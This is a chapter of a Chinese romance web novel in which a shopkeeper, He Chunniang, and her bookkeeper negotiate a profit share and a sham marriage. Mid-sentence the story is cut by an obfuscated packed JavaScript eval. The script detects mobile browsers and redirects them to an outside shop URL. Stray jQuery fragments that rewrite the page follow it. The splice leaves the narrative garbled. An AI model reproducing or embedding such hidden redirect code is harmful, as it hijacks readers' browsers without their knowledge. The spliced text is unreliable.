铺门落了闩，永安巷渐渐静下来。
隔壁蒋婶子家先是传来几句骂小孙子不肯洗脚的话，后来水声停了，门也关了。夜风从门缝里挤进来，带着一点晒了一日青石板后残下的热。
柜台上的灯芯短了，何春酿坐在柜台后，手里还拿着白日用过的木勺。她原本是想把今日的账收一收，结果一坐下，脑子里全是何家堂上那些话。
“曹家要人，不要铺。”
“周账房住在何记，终究不是长久之计。”
她用木勺轻轻敲了敲空碗，声音很轻，却在夜里显得清楚。
后院传来脚步声。
周砚平从门边进来，手里拿着一截新剪的灯芯。他大约是来添灯，见她还坐着，脚步停了一下。
何春酿没抬头：“你再不添，灯就要自己歇业了。”
周砚平把灯盏取下来，拨了拨旧芯，低声道：“何掌柜怎么还不歇？”
“睡不着。”何春酿把木勺搁下，“紫苏熟水太苦了，苦得我现在舌根还在想它。”
周砚平换好灯芯，火苗往上一抬，柜台亮了些，“何掌柜，我有话想同你说。”
灯火新挑起来，柜台边亮了一圈。白日里乱糟糟的竹筒、陶盏、糖罐都已经收好，只剩那半盏冷掉的紫苏熟水还摆在一旁，颜色沉沉的，看着便苦。
她把木勺放下，往椅背上一靠，“若是劝我嫁曹家，你现在就可以回后院睡觉。我今日听他们说了半日，耳朵已经够苦了。”
周砚平沉默了一会儿，才道：“何掌柜，我需要钱。”
何春酿手上的动作停住。
他说话太直，没有一点铺垫。
她慢慢抬起眼，周砚平站在灯边，衣袖洗得发旧，发尾还有一点未干的水气。他并没有低头，也没有装作若无其事，把最难看的账先摊了出来。
何春酿问道：“是为了还债吗？”
“有债。”周砚平顿了一下，“还有一个人，我要赎出来。”
何春酿心里一动，想起破庙里那块凉透的酥炊饼，想起他从前含糊说过的“妹妹”，也想起那些送不到、后来又不知去了哪里的陶盅和甜食。
她垂下眼，指腹在柜沿上慢慢蹭了一下，“所以何记每日十文工钱，不够对吗？”
“不够。”周砚平道，“远远不够。”
何春酿听得有些不是滋味，这人明明缺钱缺到这个地步，何有德五两银子递到他手里，他都能还回去。
可此刻他站在她面前，说自己要钱，说得坦白又难听，反倒像是把自己最不体面的地方放出来，任她看。
她故意把话说得硬一些：“那你是想涨工钱吗？我可以给你十五文。”
“不够。”他摇摇头。
何春酿抬眉：“周砚平，你胃口不要这么大。”
“是。”他没有否认，“所以我不是来讨工钱的。”
周砚平终于在柜台另一侧坐下，他没有靠得太近，中间还隔着一盏灯、一只空碗和半盏冷掉的紫苏熟水。
“何掌柜，我想同你合伙做生意。”他认真地说，“从明日起，何记所有生意，扣掉成本损耗，剩下的净利，你我四六分。”
何春酿眯起眼：“铺子是我的，灶台是我的，甜水方子是我的，客人也是我一个一个招回来的。周砚平，你凭什么拿四？”
灯芯烧短了，火苗在他眼底晃了一下，他伸手拨了拨灯盏，将那一点将灭未灭的光挑起来，才重新坐回柜台对面，“凭我能让何记多赚出这四成。”
这话说得实在不客气。
何春酿险些气笑，手里的木勺在空碗边轻轻一磕：“周砚平，你这口气，比曹掌柜还大。”
“曹掌柜要的是你这个人。”周砚平抬眼，声音不高，“我要的是账上的四成。”
他像是知道这句话不好听，也没有往回收，只继续道：“何记是你的，这一点永远都不变。可是何掌柜，你一个人守得住一间小铺，未必做得成大生意。”
何春酿面上的神色淡了些，“你也觉得我不成？”
周砚平听出她这句里的刺，眉心轻轻一动。他没有急着解释，只把那只空碗往旁边挪了挪，像要把两人之间那点挡着的话也挪开。
“不是你不成。”他道，“是何家不会让你成。”
铺子里静了一息。
“你若只卖几碗酸梅饮，何有德觉得你迟早撑不下去，曹掌柜也只当你是个会做甜水的小娘子。可你越能干，他们越想把你收进去。何家要用亲事管你，曹家要用后宅困你。你今日在堂上说得没错，他们要的不是铺子，是你。可你若要一直挡，就不能只靠嘴硬，也不能只靠一间漏雨小铺。”
何春酿低头，她想起何家堂上那些目光，又想起曹掌柜说“何掌柜若肯去厨房指点一二”时那副笃定的笑。
她不是不明白，只是明白是一回事，从周砚平嘴里说出来，又是另一回事。
“所以呢？”她反问，“你拿四成，何记就能做大？”
周砚平竟很平静：“我若说能保证，便是哄你。但我能把账管清，把店里的规矩立住，能替你挡掉一部分不该你出面的事。”
他手指在柜沿上轻轻一按，“你一个人开铺，是撑着。两个人合伙，才有往外走的可能。”
何春酿心口被这句话轻轻撞了一下。
撑着。
他竟看出来了。
她这些年说自己是掌柜，说自己不怕何有德，说何记少卖半日也不能歇业。可说到底，她一直是在撑。撑门面，撑灶火，撑铺契，撑那一点不肯低头的体面。
何春酿把木勺慢慢放下，声音仍旧不肯软：“说得好听，你不也是为了钱？”
“是。”周砚平垂下眼，灯影落在他鼻梁和唇边，显出一点很淡的疲色，“我就是为了钱。何掌柜，我不想把话说得好听，说的冠冕堂皇。日后翻出来，都容易变成怨。”
何春酿望着他，一时没有接话，她忽然觉得，周砚平这个人最会让人没法生气。
他说话不好听，句句都像在算，可他偏偏不藏。
不把私心裹成情义，也不把需要说成施恩。他把自己的难处、算盘、野心都摊在她面前，反而让她挑不出一句虚的。
“四六可以。”她终于道，“万一生意做不
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17607073|205212||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
好，怎么办？”
周砚平承诺：“若三个月后何记没有比现在多赚，我退回每日十文，之前拿走的分成，算我借你的，慢慢还。”
她心里那点气，终于散了大半，“好，从明日起，何记所有生意扣掉成本后分账。我六，你四。周砚平，你拿四成，便要做四成的事。采买你管，外送你跑，账要记，夜要守，何有德来闹你也要站出来。”
周砚平听到后头，眼底终于浮起一点很淡的光，“何掌柜，我站出来没用，他们认名分。”
何春酿的手指慢慢收紧，“什么名分？”
她其实知道。
周砚平也知道她知道。
可他还是把那两个字说了出来，“夫妻。”
柜台上的灯芯轻轻爆了一声，火苗矮下去，又被夜风顶得晃了晃。何春酿手还按在柜沿上，指节慢慢收紧，像是怕自己一松手，面前这张桌子便也跟着歪了。
她听过这两个字许多回。
媒婆嘴里说过，何有德嘴里说过，曹掌柜那些话里也拐弯抹角地藏着。可那些人说出来时，只叫她厌烦，像一只不合脚的鞋，硬要套到她脚上，还说这是体面。
周砚平不一样。
他没有笑，也没有逼近，甚至连声音都没有抬高，可越是这样，越叫这两个字在夜里显得重。
何春酿过了好一会儿，才道：“周砚平，你知道自己在说什么吗？”
他搭在膝上的手微微一收，又放开，像是下了很大的决心，“我认真想了好几日了。”
何春酿眼皮一跳，恼羞成怒：“所以你一直在心里打这个算盘？今日何家刚逼亲，你夜里便同我说做夫妻。周砚平，你这是帮我，还是趁火打劫？”
灯火照在周砚平眉骨上，他眼下有一点倦色。白日里跑货、试饮、收账、应付曹家，夜里又谈到这个时候，任谁都不会不累。
他的背仍旧挺着，像这句话他既然说出口，便已经准备好被她骂，“我说过，我不是白做好人。何掌柜眼下要名分挡住何家，我要钱，也要一个能立身的地方。”
他说完，何春酿心里反倒安静了一点。
她最讨厌那些把自己说得太好的人。何有德说为她好，曹掌柜说看重她，媒婆说这是福气。
人人都披着一层好意，伸手却是要拿她的铺、她的人、她的手艺。
她坐直些：“你要怎么个夫妻？”
这话一出口，她自己先觉得耳边热了一下，便立刻补道：“我是问你的买卖怎么做。”
周砚平像是听出了她那点慌，“假夫妻，只给外头一个名分。何家问，你便说我与你已经定下。若他们还逼，便说择日成亲。成亲也可以是假成亲，拜过堂，我们仍旧分开住。”
“说得轻巧。”何春酿把木勺捏在手里，像握着什么兵器，“拜堂也是能假的？”
“礼是真的，话是真的。”周砚平一板一眼道，“只是夫妻之实，不必有。”
何春酿指尖一麻，木勺险些从手里滑下去，声音绷得很紧：“你倒是敢说。”
周砚平喉间轻轻动了动，“不说清楚，我怕何掌柜误会。”